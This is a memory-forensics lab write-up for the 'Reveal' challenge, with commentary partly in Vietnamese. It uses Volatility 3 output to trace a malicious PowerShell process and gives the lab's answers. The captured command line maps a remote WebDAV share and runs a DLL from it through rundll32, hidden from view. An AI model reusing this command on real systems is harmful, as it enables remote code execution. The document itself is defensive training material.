

Challenge: Reveal Lab

Platform: SOC Analyst Tier 1

Category: Endpoint Forensics

Tactics: Stealth, Discovery

Tools: Volatility 3

VIEWS LAB: [link](#)

Kịch bản: Reconstruct a multi-stage attack by analyzing Windows memory dumps using Volatility 3, identifying malicious processes, command lines, and correlating findings with threat intelligence.

Q1

Identifying the name of the malicious process helps in understanding the nature of the attack. What is the name of the malicious process?

[illegible]

➔ `$ vol -f "192-Reveal.dmp" windows.malfind`

Q2

Knowing the parent process ID (PPID) of the malicious process aids in tracing the process hierarchy and understanding the attack flow. What is the parent PID of the malicious process?

```

MINGW64/c/Users/notha/Downloads/192-Reveal/temp_extract_dir
exe
*** 5364      3656      thunderbird.exe 0xc90c09307080 50      -      1      False 2024-07-15 04:03:59.000000 UTC N/A
\Device\HarddiskVolume3\Program Files\Mozilla Thunderbird\thunderbird.exe "C:\Program Files\Mozilla Thunderbird\thunde
rbird.exe" C:\Program Files\Mozilla Thunderbird\thunderbird.exe
*** 8332      5364      thunderbird.exe 0xc90c0c86d080 16      -      1      False 2024-07-15 04:04:12.000000 UTC N/A
\Device\HarddiskVolume3\Program Files\Mozilla Thunderbird\thunderbird.exe -
*** 4492      5364      thunderbird.exe 0xc90c095ad080 16      -      1      False 2024-07-15 04:04:00.000000 UTC N/A
\Device\HarddiskVolume3\Program Files\Mozilla Thunderbird\thunderbird.exe -
*** 8600      5364      thunderbird.exe 0xc90c0c41b080 15      -      1      False 2024-07-15 04:04:03.000000 UTC N/A
\Device\HarddiskVolume3\Program Files\Mozilla Thunderbird\thunderbird.exe -
*** 3004      5364      thunderbird.exe 0xc90c095ab080 4      -      1      False 2024-07-15 04:09:02.000000 UTC N/A
\Device\HarddiskVolume3\Program Files\Mozilla Thunderbird\thunderbird.exe -
*** 3644      5364      thunderbird.exe 0xc90c0c750080 4      -      1      False 2024-07-15 04:09:02.000000 UTC N/A
\Device\HarddiskVolume3\Program Files\Mozilla Thunderbird\thunderbird.exe -
*** 5848      3656      SecurityHealth 0xc90c09880080 3      -      1      False 2024-07-04 10:45:15.000000 UTC N/A
\Device\HarddiskVolume3\Windows\System32\SecurityHealthSystray.exe "C:\Windows\System32\SecurityHealthSystray.exe"
C:\Windows\System32\SecurityHealthSystray.exe
* 956 588      dwm.exe 0xc90c07ca0080 16      -      1      False 2024-07-04 10:44:50.000000 UTC N/A \Device\Harddi
skVolume3\Windows\System32\dwm.exe "dwm.exe" C:\Windows\system32\dwm.exe
1728 6192     MicrosoftEdgeU 0xc90c09722080 4      -      0      True 2024-07-15 04:03:38.000000 UTC N/A \Devic
e\HarddiskVolume3\Program Files (x86)\Microsoft\EdgeUpdate\MicrosoftEdgeUpdate.exe -
9112 4120     wordpad.exe 0xc90c0991d080 8      -      1      False 2024-07-15 07:00:03.000000 UTC N/A \Devic
e\HarddiskVolume3\Program Files\Windows NT\Accessories\wordpad.exe "C:\Program Files\Windows NT\Accessories\wordpad.exe"
" C:\Program Files\Windows NT\Accessories\wordpad.exe
3692 4120     powershell.exe 0xc90c0358b080 17      -      1      False 2024-07-15 07:00:03.000000 UTC N/A \Devic
e\HarddiskVolume3\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -windowstyle hidden net use \\45.9.7
4.32@8888\davwwwroot\ ; rundll32 \\45.9.74.32@8888\davwwwroot\3435.dll,entry C:\Windows\System32\WindowsPowerShell\v1.0\
powershell.exe
* 2416 3692     net.exe 0xc90c08fd6080 5      -      1      False 2024-07-15 07:00:06.000000 UTC N/A \Device\Harddi
skVolume3\Windows\System32\net.exe "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwwroot\ C:\Windows\system32\
net.exe
* 6892 3692     conhost.exe 0xc90c0a09b0c0 5      -      1      False 2024-07-15 07:00:03.000000 UTC N/A \Devic
e\HarddiskVolume3\Windows\System32\conhost.exe \\?\C:\Windows\system32\conhost.exe 0x4 C:\Windows\system32\conhost.exe

vvThais@ThaiHocHanh MINGW64 -/Downloads/192-Reveal/temp_extract_dir (main)
$ |
```

1. Khi đã biết được mã độc tên gì thì dễ dàng xác định được số PID của nó thông qua việc xem pstree

➔ \$ vol -f "192-Reveal.dmp" windows.pstree

Q3

Determining the file name used by the malware for executing the second-stage payload is crucial for identifying subsequent malicious activities. What is the file name that the malware uses to execute the second-stage payload?

1. Để trích xuất xem ta có thể dùng cmd để kiểm tra

➔ Vol -f "tên file" windows.cmd

```
1728 MicrosoftEdgeU -
5364 thunderbird.ex "C:\Program Files\Mozilla Thunderbird\thunderbird.exe"
4492 thunderbird.ex -
8600 thunderbird.ex -
8332 thunderbird.ex -
7160 SearchApp.exe -
7460 OfficeClickToR -
8280 SkypeBackgroun -
8544 dllhost.exe -
8720 notepad.exe "C:\Windows\system32\notepad.exe"
3644 thunderbird.ex -
3004 thunderbird.ex -
6568 calculator.exe -
1400 RuntimeBroker, -
1608 taskhostw.exe taskhostw.exe
9340 svchost.exe C:\Windows\system32\svchost.exe -k WbioSvcGroup
10108 AppVshNotify.e -
9296 SearchIndexer. C:\Windows\system32\SearchIndexer.exe /Embedding
4164 SearchProtocol "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe_S-1-5-21-3274565340-3808842250-3617890653-10012_Global\U
sgthrCtrlFltPipeMssGthrPipe_S-1-5-21-3274565340-3808842250-3617890653-10012_1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6
.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" "1"
4464 msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --disable-gpu-compositing --lang=en-US --js-flags=--ms-
user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=145 --time-ticks-at-unix-epoch=-1720089883345586 --launch-time-ticks=11289443
93 --field-trial-handle=10996,1,4550380774351628999,14075719362826743519,262144 --variations-seed-version --mojo-platform-channel-handle=9344 /prefetch:1
10136 msedge.exe -
1880 msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --disable-gpu-compositing --lang=en-US --js-flags=--ms-
user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=153 --time-ticks-at-unix-epoch=-1720089883345586 --launch-time-ticks=12224888
36 --field-trial-handle=10948,1,4550380774351628999,14075719362826743519,262144 --variations-seed-version --mojo-platform-channel-handle=7820 /prefetch:1
7428 audiodg.exe C:\Windows\system32\AUDIODG.EXE 0x4f0
1920 msedge.exe -
6388 SearchProtocol "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe3_Global\UsGthrCtrlFltPipeMssGthrPipe3_1 -2147483646 "Sof
tware\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "D
ownLevelDaemon"
6404 msedge.exe -
8864 SearchFilterHo "C:\Windows\system32\SearchFilterHost.exe" 0 804 808 816 8192 812 788
2820 smartscreen.ex C:\Windows\System32\smartscreen.exe -Embedding
9112 wordpad.exe "C:\Program Files\Windows NT\Accessories\wordpad.exe"
3692 powershell.exe powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwroot\ ; rundll32 \\45.9.74.32@8888\davwwroot\3435.dll,entry
6892 conhost.exe ??\c:\Windows\system32\conhost.exe 0x4
2416 net.exe "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwroot\
832 svchost.exe C:\Windows\system32\svchost.exe -k PrintWorkflow

vvThais@ThaiHocHanh MINGW64 ~/Downloads/192-Reveal/temp_extract_dir (main)
$
```

Q4

Identifying the shared directory on the remote server helps trace the resources targeted by the attacker. What is the name of the shared directory being accessed on the remote server?

```
1728 MicrosoftEdgeU -
5364 thunderbird.ex "C:\Program Files\Mozilla Thunderbird\thunderbird.exe"
4492 thunderbird.ex -
8600 thunderbird.ex -
8332 thunderbird.ex -
7160 SearchApp.exe -
7460 OfficeClickToR -
8280 SkypeBackgroun -
8544 dllhost.exe -
8720 notepad.exe "C:\Windows\system32\notepad.exe"
3644 thunderbird.ex -
3004 thunderbird.ex -
6568 calculator.exe -
1400 RuntimeBroker, -
1608 taskhostw.exe taskhostw.exe
9340 svchost.exe C:\Windows\system32\svchost.exe -k WbioSvcGroup
10108 AppVshNotify.e -
9296 SearchIndexer. C:\Windows\system32\SearchIndexer.exe /Embedding
4164 SearchProtocol "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe_S-1-5-21-3274565340-3808842250-3617890653-10012_Global\U
sgthrCtrlFltPipeMssGthrPipe_S-1-5-21-3274565340-3808842250-3617890653-10012_1 -2147483646 "Software\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6
.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "DownLevelDaemon" "1"
4464 msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --disable-gpu-compositing --lang=en-US --js-flags=--ms-
user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=145 --time-ticks-at-unix-epoch=-1720089883345586 --launch-time-ticks=11289443
93 --field-trial-handle=10996,1,4550380774351628999,14075719362826743519,262144 --variations-seed-version --mojo-platform-channel-handle=9344 /prefetch:1
10136 msedge.exe -
1880 msedge.exe "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --disable-gpu-compositing --lang=en-US --js-flags=--ms-
user-locale= --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=153 --time-ticks-at-unix-epoch=-1720089883345586 --launch-time-ticks=12224888
36 --field-trial-handle=10948,1,4550380774351628999,14075719362826743519,262144 --variations-seed-version --mojo-platform-channel-handle=7820 /prefetch:1
7428 audiodg.exe C:\Windows\system32\AUDIODG.EXE 0x4f0
1920 msedge.exe -
6388 SearchProtocol "C:\Windows\system32\SearchProtocolHost.exe" Global\UsGthrFltPipeMssGthrPipe3_Global\UsGthrCtrlFltPipeMssGthrPipe3_1 -2147483646 "Sof
tware\Microsoft\Windows Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT; MS Search 4.0 Robot)" "C:\ProgramData\Microsoft\Search\Data\Temp\usgthrsvc" "D
ownLevelDaemon"
6404 msedge.exe -
8864 SearchFilterHo "C:\Windows\system32\SearchFilterHost.exe" 0 804 808 816 8192 812 788
2820 smartscreen.ex C:\Windows\System32\smartscreen.exe -Embedding
9112 wordpad.exe "C:\Program Files\Windows NT\Accessories\wordpad.exe"
3692 powershell.exe powershell.exe -windowstyle hidden net use \\45.9.74.32@8888\davwwroot\ ; rundll32 \\45.9.74.32@8888\davwwroot\3435.dll,entry
6892 conhost.exe ??\c:\Windows\system32\conhost.exe 0x4
2416 net.exe "C:\Windows\system32\net.exe" use \\45.9.74.32@8888\davwwroot\
832 svchost.exe C:\Windows\system32\svchost.exe -k PrintWorkflow

vvThais@ThaiHocHanh MINGW64 ~/Downloads/192-Reveal/temp_extract_dir (main)
$
```

Q5

What is the MITRE ATT&CK sub-technique ID that describes the execution of a second-stage payload using a Windows utility to run the malicious file?

The screenshot shows the MITRE ATT&CK website. The left sidebar lists various techniques, with 'Rundll32' highlighted under 'System Binary Proxy Execution'. The main content area is titled 'System Binary Proxy Execution: Rundll32' and includes a dropdown for 'Other sub-techniques of System Binary Proxy Execution (14)'. The text describes how adversaries abuse rundll32.exe to proxy execution of malicious code, mentioning examples like executing DLLs, Control Panel files, and scripts. A metadata box on the right provides details: ID: T1218.011, Sub-technique of: T1218, Tactic: Stealth, Platforms: Windows, Contributors: Amir Hossein Vaffar, Casey Smith, Gareth Phillips, Seek Ltd., James_inthe_box, Me, Ricardo Dias, Version: 3.0, Created: 23 January 2020, Last Modified: 12 May 2026, and a Version Permalink.

- ➔ **Bản chất và mục đích:** Kẻ tấn công lạm dụng tiện ích hợp lệ rundll32.exe để chạy mã độc nhằm qua mặt các giải pháp bảo mật và đánh lừa hệ thống giám sát.
- ➔ **Các hình thức tấn công:** Kẻ gian có thể gọi trực tiếp hàm độc hại trong file DLL, kích hoạt file Control Panel (.cpl), thực thi script/JavaScript, hoặc lợi dụng các file DLL hợp pháp đã được ký số của Windows.
- ➔ **Kỹ thuật che giấu:** Kẻ tấn công lợi dụng cơ chế tương thích ký tự (Wide/Unicode trước ANSI) hoặc dùng số thứ tự (ordinal number) để che giấu mã độc và đánh lừa nhà phân tích.

Q6

Identifying the username under which the malicious process runs helps in assessing the compromised account and its potential impact. What is the username that the malicious process runs under?

1. Việc xác định tên người dùng mà tiến trình độc hại sử dụng giúp đánh giá tài khoản bị xâm nhập và tác động tiềm tàng của nó.

```
mingw64/c:/Users/votha/Downloads/192-Reveal/temp_extract_dir
9112 wordpad.exe S-1-5-32-544 Administrators
9112 wordpad.exe S-1-5-32-545 Users
9112 wordpad.exe S-1-5-4 Interactive
9112 wordpad.exe S-1-2-1 Console Logon (Users who are logged onto the physical console)
9112 wordpad.exe S-1-5-11 Authenticated Users
9112 wordpad.exe S-1-5-15 This Organization
9112 wordpad.exe S-1-5-113 Local Account
9112 wordpad.exe S-1-5-5-0-277248 Logon Session
9112 wordpad.exe S-1-2-0 Local (Users with the ability to log in locally)
9112 wordpad.exe S-1-5-64-10 NTLM Authentication
9112 wordpad.exe S-1-16-12288 High Mandatory Level
3692 powershell.exe S-1-5-21-3274565340-3808842250-3617890653-1001 Elon
3692 powershell.exe S-1-5-21-3274565340-3808842250-3617890653-513 Domain Users
3692 powershell.exe S-1-1-0 Everyone
3692 powershell.exe S-1-5-114 Local Account (Member of Administrators)
3692 powershell.exe S-1-5-32-544 Administrators
3692 powershell.exe S-1-5-32-545 Users
3692 powershell.exe S-1-5-4 Interactive
3692 powershell.exe S-1-2-1 Console Logon (Users who are logged onto the physical console)
3692 powershell.exe S-1-5-11 Authenticated Users
3692 powershell.exe S-1-5-15 This Organization
3692 powershell.exe S-1-5-113 Local Account
3692 powershell.exe S-1-5-5-0-277248 Logon Session
3692 powershell.exe S-1-2-0 Local (Users with the ability to log in locally)
3692 powershell.exe S-1-5-64-10 NTLM Authentication
3692 powershell.exe S-1-16-12288 High Mandatory Level
6892 conhost.exe S-1-5-21-3274565340-3808842250-3617890653-1001 Elon
6892 conhost.exe S-1-5-21-3274565340-3808842250-3617890653-513 Domain Users
6892 conhost.exe S-1-1-0 Everyone
6892 conhost.exe S-1-5-114 Local Account (Member of Administrators)
6892 conhost.exe S-1-5-32-544 Administrators
6892 conhost.exe S-1-5-32-545 Users
6892 conhost.exe S-1-5-4 Interactive
6892 conhost.exe S-1-2-1 Console Logon (Users who are logged onto the physical console)
6892 conhost.exe S-1-5-11 Authenticated Users
6892 conhost.exe S-1-5-15 This Organization
6892 conhost.exe S-1-5-113 Local Account
6892 conhost.exe S-1-5-5-0-277248 Logon Session
6892 conhost.exe S-1-2-0 Local (Users with the ability to log in locally)
6892 conhost.exe S-1-5-64-10 NTLM Authentication
6892 conhost.exe S-1-16-12288 High Mandatory Level
2416 net.exe S-1-5-21-3274565340-3808842250-3617890653-1001 Elon
2416 net.exe S-1-5-21-3274565340-3808842250-3617890653-513 Domain Users
2416 net.exe S-1-1-0 Everyone
```

Q7

Knowing the name of the malware family is essential for correlating the attack with known threats and developing appropriate defenses. What is the name of the malware family?

